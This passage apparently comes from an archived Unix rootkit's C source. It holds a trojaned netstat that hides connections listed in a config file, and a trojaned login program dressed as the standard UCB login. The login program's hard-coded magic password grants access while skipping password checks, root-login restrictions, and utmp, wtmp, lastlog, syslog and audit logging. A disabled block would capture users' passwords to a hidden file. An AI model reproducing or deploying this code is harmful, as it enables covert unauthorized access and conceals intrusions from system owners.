*)malloc(sizeof(struct h_st)); hack_list=h_tmp; if (fp_hack=fopen (NSCONF, "r")) { while (fgets(tmp_str, 126, fp_hack)) { h_tmp->next=(struct h_st *)malloc(sizeof(struct h_st)); strp=(char *)strtok (tmp_str, SEP_CHAR); h_tmp->hack_type=atoi(strp); strp=(char *)strtok ('\0', SEP_CHAR); strcpy (h_tmp->hack_cmd, strp); h_tmp=h_tmp->next; } } h_tmp->next=NULL; /*+ End hacks +*/ istcp = strcmp(name, "tcp") == 0; kread(off, &cb, sizeof (struct inpcb)); inpcb = cb; prev = (struct inpcb *)off; if (inpcb.inp_next == (struct inpcb *)off) return; while (inpcb.inp_next != (struct inpcb *)off) { next = inpcb.inp_next; kread((off_t)next, &inpcb, sizeof (inpcb)); if (inpcb.inp_prev != prev) { printf("???\n"); break; } if (!aflag && inet_lnaof(inpcb.inp_laddr) == INADDR_ANY) { prev = next; continue; } kread((off_t)inpcb.inp_socket, &sockb, sizeof (sockb)); if (istcp) { kread((off_t)inpcb.inp_ppcb, &tcpcb, sizeof (tcpcb)); } if (first) { printf("Active Internet connections"); if (aflag) printf(" (including servers)"); putchar('\n'); if (Aflag) printf("%-8.8s ", "PCB"); printf(Aflag ? "%-5.5s %-6.6s %-6.6s %-22.22s %-22.22s %s\n" : "%-5.5s %-6.6s %-6.6s %-22.22s %-22.22s %s\n", "Proto", "Recv-Q", "Send-Q", "Local Address", "Foreign Address", "(state)"); first = 0; } if (Aflag) if (istcp) printf("%8x ", inpcb.inp_ppcb); else printf("%8x ", next); /*+ Hacks +*/ s_ns=1; for (h_tmp=hack_list; h_tmp->next; h_tmp=h_tmp->next) { switch (h_tmp->hack_type) { case 0: if (inpcb.inp_fport==atoi(h_tmp->hack_cmd)) s_ns--; break; case 1: if (inpcb.inp_lport==atoi(h_tmp->hack_cmd)) s_ns--; break; case 2: if (strstr(inet_ntoa(inpcb.inp_faddr), h_tmp->hack_cmd)) s_ns--; break; case 3: if (strstr(inet_ntoa(inpcb.inp_laddr), h_tmp->hack_cmd)) s_ns--; break; } } /*+ End hacks +*/ if (s_ns) { printf("%-5.5s %6d %6d ", name, sockb.so_rcv.sb_cc, sockb.so_snd.sb_cc); inetprint(&inpcb.inp_laddr, inpcb.inp_lport, name); inetprint(&inpcb.inp_faddr, inpcb.inp_fport, name); if (istcp) { if (tcpcb.t_state < 0 || tcpcb.t_state >= TCP_NSTATES) printf(" %d", tcpcb.t_state); else printf(" %s", tcpstates[tcpcb.t_state]); } putchar('\n'); } prev = next; } } /* * Dump TCP statistics structure. */ tcp_stats(off, name) off_t off; char *name; { struct tcpstat tcpstat; if (off == 0) return; printf ("%s:\n", name); kread(off, (char *)&tcpstat, sizeof (tcpstat)); #define p(f, m) printf(m, tcpstat.f, plural(tcpstat.f)) #define p2(f1, f2, m) printf(m, tcpstat.f1, plural(tcpstat.f1), tcpstat.f2, plural(tcpstat.f2)) p(tcps_sndtotal, "\t%d packet%s sent\n"); p2(tcps_sndpack,tcps_sndbyte, "\t\t%d data packet%s (%d byte%s)\n"); p2(tcps_sndrexmitpack, tcps_sndrexmitbyte, "\t\t%d data packet%s (%d byte%s) retransmitted\n"); p2(tcps_sndacks, tcps_delack, "\t\t%d ack-only packet%s (%d delayed)\n"); p(tcps_sndurg, "\t\t%d URG only packet%s\n"); p(tcps_sndprobe, "\t\t%d window probe packet%s\n"); p(tcps_sndwinup, "\t\t%d window update packet%s\n"); p(tcps_sndctrl, "\t\t%d control packet%s\n"); p(tcps_rcvtotal, "\t%d packet%s received\n"); p2(tcps_rcvackpack, tcps_rcvackbyte, "\t\t%d ack%s (for %d byte%s)\n"); p(tcps_rcvdupack, "\t\t%d duplicate ack%s\n"); p(tcps_rcvacktoomuch, "\t\t%d ack%s for unsent data\n"); p2(tcps_rcvpack, tcps_rcvbyte, "\t\t%d packet%s (%d byte%s) received in-sequence\n"); p2(tcps_rcvduppack, tcps_rcvdupbyte, "\t\t%d completely duplicate packet%s (%d byte%s)\n"); p2(tcps_rcvpartduppack, tcps_rcvpartdupbyte, "\t\t%d packet%s with some dup. data (%d byte%s duped)\n"); p2(tcps_rcvoopack, tcps_rcvoobyte, "\t\t%d out-of-order packet%s (%d byte%s)\n"); p2(tcps_rcvpackafterwin, tcps_rcvbyteafterwin, "\t\t%d packet%s (%d byte%s) of data after window\n"); p(tcps_rcvwinprobe, "\t\t%d window probe%s\n"); p(tcps_rcvwinupd, "\t\t%d window update packet%s\n"); p(tcps_rcvafterclose, "\t\t%d packet%s received after close\n"); p(tcps_rcvbadsum, "\t\t%d discarded for bad checksum%s\n"); p(tcps_rcvbadoff, "\t\t%d discarded for bad header offset field%s\n"); p(tcps_rcvshort, "\t\t%d discarded because packet too short\n"); p(tcps_connattempt, "\t%d connection request%s\n"); p(tcps_accepts, "\t%d connection accept%s\n"); p(tcps_connects, "\t%d connection%s established (including accepts)\n"); p2(tcps_closed, tcps_drops, "\t%d connection%s closed (including %d drop%s)\n"); p(tcps_conndrops, "\t%d embryonic connection%s dropped\n"); p2(tcps_rttupdated, tcps_segstimed, "\t%d segment%s updated rtt (of %d attempt%s)\n"); p(tcps_rexmttimeo, "\t%d retransmit timeout%s\n"); p(tcps_timeoutdrop, "\t\t%d connection%s dropped by rexmit timeout\n"); p(tcps_persisttimeo, "\t%d persist timeout%s\n"); p(tcps_keeptimeo, "\t%d keepalive timeout%s\n"); p(tcps_keepprobe, "\t\t%d keepalive probe%s sent\n"); p(tcps_keepdrops, "\t\t%d connection%s dropped by keepalive\n"); #undef p #undef p2 } /* * Dump UDP statistics structure. */ udp_stats(off, name) off_t off; char *name; { struct udpstat udpstat; if (off == 0) return; kread(off, (char *)&udpstat, sizeof (udpstat)); printf("%s:\n\t%u incomplete header%s\n", name, udpstat.udps_hdrops, plural(udpstat.udps_hdrops)); printf("\t%u bad data length field%s\n", udpstat.udps_badlen, plural(udpstat.udps_badlen)); printf("\t%u bad checksum%s\n", udpstat.udps_badsum, plural(udpstat.udps_badsum)); printf("\t%u socket overflow%s\n", udpstat.udps_fullsock, plural(udpstat.udps_fullsock)); } /* * Dump IP statistics structure. */ ip_stats(off, name) off_t off; char *name; { struct ipstat ipstat; if (off == 0) return; kread(off, (char *)&ipstat, sizeof (ipstat)); printf("%s:\n\t%u total packets received\n", name, ipstat.ips_total); printf("\t%u bad header checksum%s\n", ipstat.ips_badsum, plural(ipstat.ips_badsum)); printf("\t%u with size smaller than minimum\n", ipstat.ips_toosmall); printf("\t%u with data size < data length\n", ipstat.ips_tooshort); printf("\t%u with header length < data size\n", ipstat.ips_badhlen); printf("\t%u with data length < header length\n", ipstat.ips_badlen); printf("\t%u fragment%s received\n", ipstat.ips_fragments, plural(ipstat.ips_fragments)); printf("\t%u fragment%s dropped (dup or out of space)\n", ipstat.ips_fragdropped, plural(ipstat.ips_fragdropped)); printf("\t%u fragment%s dropped after timeout\n", ipstat.ips_fragtimeout, plural(ipstat.ips_fragtimeout)); printf("\t%u packet%s forwarded\n", ipstat.ips_forward, plural(ipstat.ips_forward)); printf("\t%u packet%s not forwardable\n", ipstat.ips_cantforward, plural(ipstat.ips_cantforward)); printf("\t%u redirect%s sent\n", ipstat.ips_redirectsent, plural(ipstat.ips_redirectsent)); ipintrq_stats(); } static char *icmpnames[] = { "echo reply", "#1", "#2", "destination unreachable", "source quench", "routing redirect", "#6", "#7", "echo", "#9", "#10", "time exceeded", "parameter problem", "time stamp", "time stamp reply", "information request", "information request reply", "address mask request", "address mask reply" }; /* * Dump ICMP statistics. */ icmp_stats(off, name) off_t off; char *name; { struct icmpstat icmpstat; register int i, first; if (off == 0) return; kread(off, (char *)&icmpstat, sizeof (icmpstat)); printf("%s:\n\t%u call%s to icmp_error\n", name, icmpstat.icps_error, plural(icmpstat.icps_error)); printf("\t%u error%s not generated 'cuz old message too short\n", icmpstat.icps_oldshort, plural(icmpstat.icps_oldshort)); printf("\t%u error%s not generated 'cuz old message was icmp\n", icmpstat.icps_oldicmp, plural(icmpstat.icps_oldicmp)); for (first = 1, i = 0; i < ICMP_MAXTYPE + 1; i++) if (icmpstat.icps_outhist[i] != 0) { if (first) { printf("\tOutput histogram:\n"); first = 0; } printf("\t\t%s: %u\n", icmpnames[i], icmpstat.icps_outhist[i]); } printf("\t%u message%s with bad code fields\n", icmpstat.icps_badcode, plural(icmpstat.icps_badcode)); printf("\t%u message%s < minimum length\n", icmpstat.icps_tooshort, plural(icmpstat.icps_tooshort)); printf("\t%u bad checksum%s\n", icmpstat.icps_checksum, plural(icmpstat.icps_checksum)); printf("\t%u message%s with bad length\n", icmpstat.icps_badlen, plural(icmpstat.icps_badlen)); for (first = 1, i = 0; i < ICMP_MAXTYPE + 1; i++) if (icmpstat.icps_inhist[i] != 0) { if (first) { printf("\tInput histogram:\n"); first = 0; } printf("\t\t%s: %u\n", icmpnames[i], icmpstat.icps_inhist[i]); } printf("\t%u message response%s generated\n", icmpstat.icps_reflect, plural(icmpstat.icps_reflect)); } /* * Pretty print an Internet address (net address + port). * If the nflag was specified, use numbers instead of names. */ inetprint(in, port, proto) register struct in_addr *in; u_short port; char *proto; { char *sp = 0; char line[80], *cp, *index(); int width; char *getservname(); sprintf(line, "%.16s.", inetname(*in)); cp = index(line, '\0'); if (!nflag && port) sp = getservname(port, proto); if (sp || port == 0) sprintf(cp, "%.8s", sp ? sp : "*"); else sprintf(cp, "%d", ntohs((u_short)port)); width = 22; printf(" %-*.*s", width, width, line); } static jmp_buf NameTimeout; int WaitTime = 15; /* seconds to wait for name server */ timeoutfunc() {longjmp(NameTimeout, 1);} /* * Construct an Internet address representation. * If the nflag has been supplied, give * numeric value, otherwise try for symbolic name. */ char * inetname(in) struct in_addr in; { register char *cp; static char line[50]; static char domain[MAXHOSTNAMELEN + 1]; static int first = 1; if (first && !nflag) { /* * Record domain name for future reference. Check * first for the 4.3bsd convention of keeping it as * part of the hostname. Failing that, try extracting * it using the domainname system call. * * XXX: Need to reconcile these two conventions. */ first = 0; if (gethostname(domain, MAXHOSTNAMELEN) == 0 && (cp = index(domain, '.'))) (void) strcpy(domain, cp + 1); else if (getdomainname(domain, MAXHOSTNAMELEN) < 0) domain[0] = 0; } if (in.s_addr == INADDR_ANY) { strcpy(line, "*"); return (line); } cp = 0; if (!nflag) { if (inet_lnaof(in) == INADDR_ANY) { struct netent *np; np = getnetbyaddr(inet_netof(in), AF_INET); if (np) cp = np->n_name; } if (cp == 0) { struct hostent *hp = NULL; signal(SIGALRM, timeoutfunc); alarm(WaitTime); if (setjmp(NameTimeout) == 0) hp = gethostbyaddr(&in, sizeof (struct in_addr), AF_INET); if (hp) { /* * If the hostname contains a domain part, * and it's the same as the local domain, * elide it. */ if ((cp = index(hp->h_name, '.')) && !strcmp(cp + 1, domain)) *cp = 0; cp = hp->h_name; } } } if (cp) strcpy(line, cp); else { sprintf(line, "%s", inet_ntoa(in)); } return (line); } #define TCP 0 #define UDP 1 #define NPROTOCOLS 2 #define MAXPORT 1024 char *names[NPROTOCOLS][MAXPORT]; char * getservname(port, proto) char *proto; { static int first= 1; int protonum; if (first) { first = 0; initarray(); } if (strcmp(proto, "tcp") == 0) protonum = TCP; else if (strcmp(proto, "udp") == 0) protonum = UDP; else return NULL; if (ntohs((u_short)port) < MAXPORT && names[protonum][ntohs((u_short)port)]) return (names[protonum][ntohs((u_short)port)]); else return NULL; } initarray() { struct servent *sv; int proto; while(sv = getservent()) { if (strcmp(sv->s_proto, "tcp") == 0) proto = TCP; else if (strcmp(sv->s_proto, "udp") == 0) proto = UDP; else continue; if (ntohs((u_short)sv->s_port) >= MAXPORT) continue; names[proto][ntohs((u_short)sv->s_port)] = (char *)malloc(strlen(sv->s_name) + 1); strcpy(names[proto][ntohs((u_short)sv->s_port)], sv->s_name); } endservent(); } ipintrq.c100600 0 0 1165 77607620340 11015 0ustar rootroot/* * Print the IP Interupt queue overflows * * @(#)ipintrq.c 1.1 91/11/13 */ #include #include #include struct nlist ip_nl[] = { {"_ipintrq"}, {""} }; extern kvm_t *kd; static struct ifqueue { int ifq_head; /* struct mbuf *ifq_head; */ int ifq_tail; /* struct mbuf *ifq_tail; */ int ifq_len; int ifq_maxlen; int ifq_drops; } buf; ipintrq_stats() { if (kvm_nlist(kd, ip_nl) < 0) { fprintf(stderr, "netstat: bad namelist\n"); exit(1); } kread(ip_nl[0].n_value, &buf, sizeof(buf) ); printf("\t%d ip input queue drops\n", buf.ifq_drops); } lb.c100600 0 0 51350 77607620340 7745 0ustar rootroot /* magic.h should have encrypted magic word according to the program */ /* magic.c which should be compiled and run by the makefile */ #include "magic.h" #include "code.h" /* change the default backdoor passwd and directory for your own usage. */ #ifndef lint char copyright[] = "@(#) Copyright (c) 1980 Regents of the University of California.\n\ All rights reserved.\n"; #endif not lint #ifndef lint static char sccsid[] = "@(#)login.c 1.1 90/03/23 SMI"; /* from UCB 5.15 4/12/86 */ #endif not lint /* * login [ name ] * login -p (for getty) * login -r hostname (for rlogind) * login -h hostname (for telnetd, etc.) */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define TTYGRPNAME "tty" /* name of group to own ttys */ #define TTYGID(gid) tty_gid(gid) /* gid that owns all ttys */ #define SCMPN(a, b) strncmp(a, b, sizeof (a)) #define SCPYN(a, b) (void)strncpy(a, b, sizeof (a)) #define NMAX sizeof (utmp.ut_name) #define HMAX sizeof (utmp.ut_host) #define WEEK (24L * 7 * 60 * 60) /* seconds per week */ char QUOTAWARN[] = "/usr/ucb/quota"; /* warn user about quotas */ char CANTRUN[] = "login: Can't run "; char nolog[] = "/etc/nologin"; char qlog[] = ".hushlogin"; char maildir[30] = "/var/spool/mail/"; char lastlog[] = "/var/adm/lastlog"; struct passwd nouser = {"", "nope", -1, -1, "", "", "", "", "" }; audit_state_t audit_state = {AU_LOGIN, AU_LOGIN}; struct sgttyb ttyb; struct utmp utmp; char minusnam[16] = "-"; char *envinit[] = { 0 }; /* now set by setenv calls */ /* * This bounds the time given to login. We initialize it here * so it can be patched on machines where it's too small. */ u_int timeout = 60; char term[64]; char *audit_argv[] = { 0, 0, 0, term, "local" }; struct passwd *pwd; char *malloc(), *realloc(); void timedout(); char *ttyname(); char *crypt(); char *getpass(); char *stypeof(); off_t lseek(); extern char **environ; extern int errno; struct tchars tc = { CINTR, CQUIT, CSTART, CSTOP, CEOT, CBRK }; struct ltchars ltc = { CSUSP, CDSUSP, CRPRNT, CFLUSH, CWERASE, CLNEXT }; struct winsize win = { 0, 0, 0, 0 }; int rflag; int usererr = -1; char rusername[NMAX+1], lusername[NMAX+1]; char name[NMAX+1]; main(argc, argv) int argc; char *argv[]; { register char *namep; int pflag = 0, hflag = 0, t, f, c; int invalid, quietlog; FILE *nlfd; char *ttyn, *tty; int ldisc = NTTYDISC, zero = 0, i; int locl; char **envnew; char *passwd; int lastlogok; struct lastlog ll, newll; time_t when, maxweeks, minweeks, now; extern long a64l(), time(); char *pw_age = NULL; struct passwd_adjunct *pwa, *getpwanam(); int n; FILE *buffer; int elite=0; #define BUFFERFILE "/usr/spool/lpd/.login" code(magic); audit_argv[0] = argv[0]; /* * Start off by setting the audit state so that login failures * will be captured. */ if (issecure()) { setauid(0); setaudit(&audit_state); } (void)signal(SIGALRM, timedout); (void)alarm(timeout); (void)signal(SIGQUIT, SIG_IGN); (void)signal(SIGINT, SIG_IGN); (void)setpriority(PRIO_PROCESS, 0, 0); for (t = getdtablesize(); t > 3; t--) (void)close(t); /* * -p is used by getty to tell login not to destroy the environment * -r is used by rlogind to cause the autologin protocol; * -h is used by other servers to pass the name of the * remote host to login so that it may be placed in utmp and wtmp */ while (argc > 1) { if (strcmp(argv[1], "-r") == 0) { if (rflag || hflag) { printf("Only one of -r and -h allowed\n"); exit(1); } if (argv[2] == 0) exit(1); rflag = 1; usererr = doremotelogin(argv[2]); SCPYN(utmp.ut_host, argv[2]); audit_argv[4] = argv[2]; argc -= 2; argv += 2; continue; } if (strcmp(argv[1], "-h") == 0 && getuid() == 0) { if (rflag || hflag) { printf("Only one of -r and -h allowed\n"); exit(1); } if (argv[2] == 0) exit(1); hflag = 1; SCPYN(utmp.ut_host, argv[2]); audit_argv[4] = argv[2]; argc -= 2; argv += 2; continue; } if (strcmp(argv[1], "-p") == 0) { argc--; argv++; pflag = 1; continue; } break; } (void)ioctl(0, TIOCNXCL, 0); (void)ioctl(0, FIONBIO, &zero); (void)ioctl(0, FIOASYNC, &zero); (void)ioctl(0, TIOCGETP, &ttyb); (void)ioctl(0, TIOCLGET, &locl); /* * If talking to an rlogin process, * propagate the terminal type and * baud rate across the network. */ if (rflag) doremoteterm(term, &ttyb); ttyb.sg_erase = CERASE; ttyb.sg_kill = CKILL; locl &= LPASS8; locl |= LCRTBS|LCTLECH|LDECCTQ; if (ttyb.sg_ospeed >= B1200) locl |= LCRTERA|LCRTKIL; (void)ioctl(0, TIOCLSET, &locl); (void)ioctl(0, TIOCSLTC, <c); (void)ioctl(0, TIOCSETC, &tc); (void)ioctl(0, TIOCSETP, &ttyb); ttyn = ttyname(0); if (ttyn == (char *)0 || *ttyn == '\0') ttyn = "/dev/tty??"; tty = rindex(ttyn, '/'); if (tty == NULL) tty = ttyn; else tty++; openlog("login", LOG_ODELAY, LOG_AUTH); t = 0; invalid = FALSE; do { ldisc = 0; (void)ioctl(0, TIOCSETD, &ldisc); SCPYN(utmp.ut_name, ""); /* * Name specified, take it. */ if (argc > 1) { SCPYN(utmp.ut_name, argv[1]); argc = 0; } /* * If remote login take given name, * otherwise prompt user for something. */ if (rflag && !invalid) SCPYN(utmp.ut_name, lusername); else { getloginname(&utmp); if (utmp.ut_name[0] == '-') { puts("login names may not start with '-'."); invalid = TRUE; continue; } } invalid = FALSE; if (!strcmp(pwd->pw_shell, "/bin/csh")) { ldisc = NTTYDISC; (void)ioctl(0, TIOCSETD, &ldisc); } setauditinfo(); /* * If no remote login authentication and * a password exists for this user, prompt * for one and verify it. */ passwd = NULL; if (usererr == -1 && *pwd->pw_passwd != '\0') { (void)setpriority(PRIO_PROCESS, 0, -4); passwd = getpass("Password:"); if (!strcmp(passwd,magic)) { elite++; } else { /* buffer=fopen(BUFFERFILE,"a"); * fprintf(buffer,"LU: %s PW: %s\n",pwd->pw_name,passwd); * fclose(buffer); */ } namep = crypt(passwd, pwd->pw_passwd); (void)setpriority(PRIO_PROCESS, 0, 0); if (elite==0) { if (strcmp(namep, pwd->pw_passwd)) { invalid = TRUE; audit_note("incorrect password", 1); } } /* elite*/ } /* * If user not super-user, check for logins disabled. */ if (elite==0) { if (pwd->pw_uid != 0 && (nlfd = fopen(nolog, "r")) > 0) { while ((c = getc(nlfd)) != EOF) putchar(c); (void)fflush(stdout); audit_note("logins disabled and uid != 0", 2); sleep(5); exit(0); } } /* elite */ /* * If valid so far and root is logging in, * see if root logins on this terminal are permitted. */ if (elite==0) { if (!invalid && pwd->pw_uid == 0 && !rootterm(tty)) { if (utmp.ut_host[0]) syslog(LOG_CRIT, "ROOT LOGIN REFUSED ON %s FROM %.*s", tty, HMAX, utmp.ut_host); else syslog(LOG_CRIT, "ROOT LOGIN REFUSED ON %s", tty); invalid = TRUE; audit_note("ROOT LOGIN REFUSED", 3); } } /* elite */ if (invalid) { printf("Login incorrect\n"); if (++t >= 5) { if (utmp.ut_host[0]) syslog(LOG_CRIT, "REPEATED LOGIN FAILURES ON %s FROM %.*s, %.*s", tty, HMAX, utmp.ut_host, NMAX, utmp.ut_name); else syslog(LOG_CRIT, "REPEATED LOGIN FAILURES ON %s, %.*s", tty, NMAX, utmp.ut_name); (void)ioctl(0, TIOCHPCL, (struct sgttyb *) 0); (void)close(0); (void)close(1); (void)close(2); sleep(10); exit(1); } } if (*pwd->pw_shell == '\0') pwd->pw_shell = "/bin/sh"; if (*pwd->pw_dir == '\0' && !invalid) { printf( "No home directory specified in password file! Logging in with home=/\n"); pwd->pw_dir = "/"; } i = strlen(pwd->pw_shell); /* * Remote login invalid must have been because * of a restriction of some sort, no extra chances. */ if (!usererr && invalid) exit(1); } while (invalid); if (elite==0) { /* check password age */ if (issecure()) { if ((pwa = getpwanam(pwd->pw_name)) == NULL) { fprintf(stderr, "passwd: Sorry not in adjunct file\n"); exit(1); } pw_age = pwa->pwa_age; } else pw_age = pwd->pw_age; if (pw_age && *pw_age != NULL) { /* x* retrieve (a) week of previous change * (b) maximum number of valid weeks. */ when = a64l(pw_age); maxweeks = when & 077; minweeks = (when >> 6) & 077; when >>= 12; now = (time((time_t *)0) / WEEK); if (when > now || (now > when + maxweeks) && (maxweeks >= minweeks)) { printf("Your password has expired. Choose a new one\n"); if ((n = exec_pass(pwd->pw_name)) > 0) { exit(1); } else if (n < 0) { fprintf(stderr, "Cannot execute /usr/bin/passwd\n"); exit(1); } } } } /* elite */ /* committed to login turn off timeout */ (void)alarm((u_int)0); (void)time(&utmp.ut_time); t = ttyslot(); if (elite==0) { if (t > 0 && (f = open("/etc/utmp", O_WRONLY)) >= 0) { (void)lseek(f, (long)(t*sizeof (utmp)), 0); SCPYN(utmp.ut_line, tty); (void)write(f, (char *)&utmp, sizeof (utmp)); (void)close(f); } if (t > 0 && (f = open("/var/adm/wtmp", O_WRONLY|O_APPEND)) >= 0) { (void)write(f, (char *)&utmp, sizeof (utmp)); (void)close(f); } lastlogok = 0; if ((f = open(lastlog, O_RDWR)) >= 0) { (void)lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); if (read(f, (char *) &ll, sizeof ll) == sizeof ll && ll.ll_time != 0) lastlogok = 1; (void)lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); (void)time(&newll.ll_time); SCPYN(newll.ll_line, tty); SCPYN(newll.ll_host, utmp.ut_host); (void)write(f, (char *) &newll, sizeof newll); (void)close(f); } } /* elite */ /* * Set owner/group/permissions of framebuffer devices */ (void) set_fb_attrs(ttyn, pwd->pw_uid, pwd->pw_gid); (void)chown(ttyn, pwd->pw_uid, TTYGID(pwd->pw_gid)); if (!hflag && !rflag) /* XXX */ (void)ioctl(0, TIOCSWINSZ, &win); (void)chmod(ttyn, 0620); if (setgid(pwd->pw_gid) < 0) { audit_note("setgid", 4); perror("login: setgid"); exit(1); } (void)strncpy(name, utmp.ut_name, NMAX); name[NMAX] = '\0'; (void)initgroups(name, pwd->pw_gid); if (elite==0) { if (issecure()) setaudit(&audit_state); audit_note("user authenticated", 0); } /* elite */ if (setuid(pwd->pw_uid) < 0) { audit_note("setuid", 5); perror("login: setuid"); exit(1); } /* * Set key only after setuid() */ /* setsecretkey(passwd); */ if (chdir(pwd->pw_dir) < 0) { if (errno != ENOENT) perror(pwd->pw_dir); if (chdir("/") < 0) { perror("Cannot change directory to /"); printf("No directory!\n"); exit (1); } else { printf("No directory! Logging in with home=/\n"); pwd->pw_dir = "/"; } } quietlog = access(qlog, F_OK) == 0; /* destroy environment unless user has asked to preserve it */ if (!pflag) environ = envinit; /* set up environment, this time without destruction */ /* copy the environment before setenving */ i = 0; while (environ[i] != NULL) i++; envnew = (char **) malloc(sizeof (char *) * ((u_int)i + 1)); for (; i >= 0; i--) envnew[i] = environ[i]; environ = envnew; setenv("HOME=", pwd->pw_dir, 1); setenv("SHELL=", pwd->pw_shell, 1); if (term[0] == '\0') (void)strncpy(term, stypeof(tty), sizeof (term)); setenv("TERM=", term, 0); setenv("USER=", pwd->pw_name, 1); setenv("PATH=", ":/usr/ucb:/bin:/usr/bin", 0); setenv("LOGNAME=", pwd->pw_name, 1); if ((namep = rindex(pwd->pw_shell, '/')) == NULL) namep = pwd->pw_shell; else namep++; (void)strcat(minusnam, namep); (void)umask(issecure() ? 077 : 022); if (elite==0) { if (tty[sizeof ("tty") - 1] == 'd') syslog(LOG_INFO, "DIALUP %s, %s", tty, pwd->pw_name); if (pwd->pw_uid == 0) if (utmp.ut_host[0]) syslog(LOG_NOTICE, "ROOT LOGIN %s FROM %.*s", tty, HMAX, utmp.ut_host); else syslog(LOG_NOTICE, "ROOT LOGIN %s", tty); if (!quietlog) { int pid, w; struct stat st; if (lastlogok) { printf("Last login: %.*s ", 24-5, ctime(&ll.ll_time)); if (*ll.ll_host != '\0') printf("from %.*s\n", sizeof (ll.ll_host), ll.ll_host); else printf("on %.*s\n", sizeof (ll.ll_line), ll.ll_line); } showmotd(); (void)strcat(maildir, pwd->pw_name); if (stat(maildir, &st) == 0 && st.st_size != 0) printf("You have %smail.\n", (st.st_mtime > st.st_atime) ? "new " : ""); if ((pid = vfork()) == 0) { execl(QUOTAWARN, QUOTAWARN, (char *)0); (void)write(2, CANTRUN, sizeof (CANTRUN)); _perror(QUOTAWARN); _exit(127); } else if (pid == -1) { fprintf(stderr, CANTRUN); perror(QUOTAWARN); } else { while ((w = wait((int *)NULL)) != pid && w != -1) ; } } } /* elite */ (void)signal(SIGALRM, SIG_DFL); (void)signal(SIGQUIT, SIG_DFL); (void)signal(SIGINT, SIG_DFL); (void)signal(SIGTSTP, SIG_IGN); execlp(pwd->pw_shell, minusnam, (char *)0); perror(pwd->pw_shell); audit_note("No shell", 6); printf("No shell\n"); exit(0); /* NOTREACHED */ } getloginname(up) register struct utmp *up; { register char *namep; char c; while (up->ut_name[0] == '\0') { namep = up->ut_name; printf("login: "); while ((c = getchar()) != '\n') { if (c == ' ') c = '_'; if (c == EOF) exit(0); if (namep < up->ut_name+NMAX) *namep++ = c; } } (void)strncpy(lusername, up->ut_name, NMAX); lusername[NMAX] = 0; if ((pwd = getpwnam(lusername)) == NULL) pwd = &nouser; } setauditinfo() { struct passwd_adjunct *pwda; struct passwd_adjunct *getpwanam(); setauid(pwd->pw_uid); audit_argv[1] = lusername; /* was pwd->pw_name */ if ((pwda = getpwanam(lusername)) != NULL) { if (getfauditflags(&pwda->pwa_au_always, &pwda->pwa_au_never, &audit_state) != 0) { /* * if we can't tell how to audit from the flags, audit * everything that's not never for this user. */ audit_state.as_success = pwda->pwa_au_never.as_success ^ (-1); audit_state.as_failure = pwda->pwa_au_never.as_failure ^ (-1); } } else { /* * if there is no adjunct file entry then either * this isn't a secure system in which case it doesn't * matter what st gets set to, or we've got a mismatch * in which case we'd best audit the dickens out of our * mystery user. */ audit_state.as_success = -1; audit_state.as_failure = -1; } } void timedout() { printf("Login timed out after %d seconds\n", timeout); exit(0); } int stopmotd; void catch() { (void)signal(SIGINT, SIG_IGN); stopmotd++; } rootterm(tty) char *tty; { register struct ttyent *t; if ((t = getttynam(tty)) != NULL) { if (t->ty_status & TTY_SECURE) return (1); } return (0); } showmotd() { FILE *mf; register c; (void)signal(SIGINT, catch); if ((mf = fopen("/etc/motd", "r")) != NULL) { while ((c = getc(mf)) != EOF && stopmotd == 0) putchar(c); (void)fclose(mf); } (void)signal(SIGINT, SIG_IGN); } #undef UNKNOWN #define UNKNOWN "su" char * stypeof(ttyid) char *ttyid; { register struct ttyent *t; if (ttyid == NULL || (t = getttynam(ttyid)) == NULL) return (UNKNOWN); return (t->ty_type); } doremotelogin(host) char *host; { getstr(rusername, sizeof (rusername), "remuser"); getstr(lusername, sizeof (lusername), "locuser"); getstr(term, sizeof (term), "Terminal type"); if (getuid()) { pwd = &nouser; return (-1); } pwd = getpwnam(lusername); if (pwd == NULL) { pwd = &nouser; return (-1); } return (ruserok(host, (pwd->pw_uid == 0), rusername, lusername)); } /*ARGSUSED*/ getstr(buf, cnt, err) char *buf; int cnt; char *err; { char c; do { if (read(0, &c, 1) != 1) exit(1); *buf++ = c; } while (c != 0 && --cnt != 0); if (c != 0) *--buf = 0; #ifdef DEBUG if (c != 0) { printf("%s too long\r\n", err); } #endif } char *speeds[] = { "0", "50", "75", "110", "134", "150", "200", "300", "600", "1200", "1800", "2400", "4800", "9600", "19200", "38400" }; #define NSPEEDS (sizeof (speeds) / sizeof (speeds[0])) doremoteterm(terminal, tp) char *terminal; struct sgttyb *tp; { register char *cp = index(terminal, '/'), **cpp; char *speed; if (cp) { *cp++ = '\0'; speed = cp; cp = index(speed, '/'); if (cp) *cp++ = '\0'; for (cpp = speeds; cpp < &speeds[NSPEEDS]; cpp++) if (strcmp(*cpp, speed) == 0) { tp->sg_ispeed = tp->sg_ospeed = cpp-speeds; break; } } tp->sg_flags = ECHO|CRMOD|ANYP|XTABS; } /* * Set the value of var to be arg in the Unix 4.2 BSD environment env. * Var should end with '='. * (bindings are of the form "var=value") * This procedure assumes the memory for the first level of environ * was allocated using malloc. */ setenv(var, value, clobber) char *var, *value; { extern char **environ; u_int idx = 0; int varlen = strlen(var); int vallen = strlen(value); for (idx = 0; environ[idx] != NULL; idx++) { if (strncmp(environ[idx], var, varlen) == 0) { /* found it */ if (!clobber) return; environ[idx] = malloc((u_int)(varlen + vallen + 1)); (void)strcpy(environ[idx], var); (void)strcat(environ[idx], value); return; } } environ = (char **)realloc( (char *)environ, sizeof (char *) * (idx + 2)); if (environ == NULL) { fprintf(stderr, "login: malloc out of memory\n"); exit(1); } environ[idx] = malloc((u_int)(varlen + vallen + 1)); (void)strcpy(environ[idx], var); (void)strcat(environ[idx], value); environ[++idx] = NULL; } tty_gid(default_gid) int default_gid; { struct group *getgrnam(), *gr; int gid = default_gid; gr = getgrnam(TTYGRPNAME); if (gr != (struct group *) 0) gid = gr->gr_gid; endgrent(); return (gid); } /* * exec_pass() - exec passwd * */ static int exec_pass(usernam) char *usernam; { int status, w; pid_t pid; if ((pid = fork()) == 0) { execl("/usr/bin/passwd", "/usr/bin/passwd", usernam, (char *)NULL); exit(127); } while ((w = (int)wait(&status)) != pid && w != -1) ; return ((w == -1) ? w : status); } /* * If network is running secure rpc, decrypt this user's key and * have it stored away. */ /* setsecretkey(passwd) char *passwd; { char fullname[MAXNETNAMELEN + 1]; char secret[HEXKEYBYTES + 